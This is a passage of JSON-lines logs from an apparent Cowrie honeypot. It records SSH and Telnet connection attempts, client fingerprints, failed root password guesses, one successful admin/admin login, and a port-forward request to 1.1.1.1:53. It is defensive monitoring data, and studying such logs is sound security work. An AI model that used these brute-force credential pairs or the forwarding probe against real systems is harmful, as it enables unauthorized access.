com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:59.876201Z","src_ip":"62.133.62.83","session":"203424f1fb33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rinat","message":"login attempt [root/rinat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:00.116373Z","src_ip":"62.133.62.83","session":"203424f1fb33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55250,"dst_ip":"159.203.135.109","dst_port":22,"session":"a622c4878769","protocol":"ssh","message":"New connection: 80.66.85.226:55250 (159.203.135.109:22) [session: a622c4878769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:00.182611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:00.188669Z","src_ip":"80.66.85.226","session":"a622c4878769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:00.279570Z","src_ip":"80.66.85.226","session":"a622c4878769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvf12","message":"login attempt [root/vfvf12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:00.551840Z","src_ip":"80.66.85.226","session":"a622c4878769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:01.200919Z","src_ip":"62.133.62.83","session":"203424f1fb33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:01.645252Z","src_ip":"80.66.85.226","session":"a622c4878769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.78008723258972,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:05.223999Z","src_ip":"165.22.57.101","session":"d8b024de15b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44018,"dst_ip":"159.203.135.109","dst_port":23,"session":"3df14e8c5722","protocol":"telnet","message":"New connection: 69.4.83.194:44018 (159.203.135.109:23) [session: 3df14e8c5722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:18.673516Z"}
{"eventid":"cowrie.session.closed","duration":0.5545544624328613,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:19.227933Z","src_ip":"69.4.83.194","session":"3df14e8c5722","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47526,"dst_ip":"159.203.135.109","dst_port":23,"session":"429bbb17cd2a","protocol":"telnet","message":"New connection: 69.4.83.194:47526 (159.203.135.109:23) [session: 429bbb17cd2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:20.550316Z"}
{"eventid":"cowrie.session.closed","duration":65.91101264953613,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:25.202994Z","src_ip":"178.128.93.180","session":"aeea980d88e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.16885447502136,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:30.857569Z","src_ip":"69.4.83.194","session":"5c3ed9708b8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66275715827942,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:31.307110Z","src_ip":"69.4.83.194","session":"4604a2a232be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62058,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c10dd6b4c3a","protocol":"ssh","message":"New connection: 87.251.64.176:62058 (10.17.0.5:22) [session: 9c10dd6b4c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:39.640578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:39.644591Z","src_ip":"87.251.64.176","session":"9c10dd6b4c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:39.740315Z","src_ip":"87.251.64.176","session":"9c10dd6b4c3a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:40.025447Z","src_ip":"87.251.64.176","session":"9c10dd6b4c3a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:40.122940Z","session":"9c10dd6b4c3a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:40.221812Z","src_ip":"87.251.64.176","session":"9c10dd6b4c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:40.322505Z","src_ip":"87.251.64.176","session":"9c10dd6b4c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.464635133743286,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:38:53.014853Z","src_ip":"69.4.83.194","session":"429bbb17cd2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00206136703491,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:21.026553Z","src_ip":"180.235.129.180","session":"62e80487e4ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":57924,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe247e1983ee","protocol":"ssh","message":"New connection: 103.82.132.16:57924 (10.17.0.5:22) [session: fe247e1983ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:23.264274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:23.268055Z","src_ip":"103.82.132.16","session":"fe247e1983ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:23.517730Z","src_ip":"103.82.132.16","session":"fe247e1983ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120487","message":"login attempt [root/120487] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:24.290007Z","src_ip":"103.82.132.16","session":"fe247e1983ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:25.543918Z","src_ip":"103.82.132.16","session":"fe247e1983ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":34526,"dst_ip":"159.203.135.109","dst_port":22,"session":"9047aa0108b6","protocol":"ssh","message":"New connection: 43.165.174.224:34526 (159.203.135.109:22) [session: 9047aa0108b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:30.802312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:30.806874Z","src_ip":"43.165.174.224","session":"9047aa0108b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:30.975510Z","src_ip":"43.165.174.224","session":"9047aa0108b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Asd","message":"login attempt [root/123456Asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:31.682427Z","src_ip":"43.165.174.224","session":"9047aa0108b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:32.854363Z","src_ip":"43.165.174.224","session":"9047aa0108b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":52452,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0c7c6bcb0ed","protocol":"ssh","message":"New connection: 94.159.98.239:52452 (159.203.135.109:22) [session: f0c7c6bcb0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:50.306257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:50.322845Z","src_ip":"94.159.98.239","session":"f0c7c6bcb0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:50.426756Z","src_ip":"94.159.98.239","session":"f0c7c6bcb0ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"786786","message":"login attempt [root/786786] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:51.009406Z","src_ip":"94.159.98.239","session":"f0c7c6bcb0ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:39:52.146631Z","src_ip":"94.159.98.239","session":"f0c7c6bcb0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":40778,"dst_ip":"159.203.135.109","dst_port":22,"session":"09b28eb9fe74","protocol":"ssh","message":"New connection: 103.122.221.179:40778 (159.203.135.109:22) [session: 09b28eb9fe74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:04.722532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:04.727818Z","src_ip":"103.122.221.179","session":"09b28eb9fe74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:05.005351Z","src_ip":"103.122.221.179","session":"09b28eb9fe74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11121314","message":"login attempt [root/11121314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:05.761784Z","src_ip":"103.122.221.179","session":"09b28eb9fe74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:07.019732Z","src_ip":"103.122.221.179","session":"09b28eb9fe74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58974,"dst_ip":"159.203.135.109","dst_port":23,"session":"5103e5fe16f7","protocol":"telnet","message":"New connection: 69.4.83.194:58974 (159.203.135.109:23) [session: 5103e5fe16f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:09.238040Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57532,"dst_ip":"159.203.135.109","dst_port":23,"session":"5837f612cec6","protocol":"telnet","message":"New connection: 69.4.83.194:57532 (159.203.135.109:23) [session: 5837f612cec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:09.425073Z"}
{"eventid":"cowrie.session.closed","duration":0.8372364044189453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:10.262174Z","src_ip":"69.4.83.194","session":"5837f612cec6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":60656,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bdc484fa334","protocol":"telnet","message":"New connection: 79.139.59.21:60656 (159.203.135.109:23) [session: 1bdc484fa334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:13.636214Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37380,"dst_ip":"159.203.135.109","dst_port":23,"session":"689db18a015c","protocol":"telnet","message":"New connection: 69.4.83.194:37380 (159.203.135.109:23) [session: 689db18a015c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:24.012201Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":33636,"dst_ip":"159.203.135.109","dst_port":23,"session":"154eea98ca28","protocol":"telnet","message":"New connection: 79.139.59.21:33636 (159.203.135.109:23) [session: 154eea98ca28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:34.441822Z"}
{"eventid":"cowrie.session.closed","duration":27.485482931137085,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:41.121510Z","src_ip":"79.139.59.21","session":"1bdc484fa334","protocol":"telnet"}
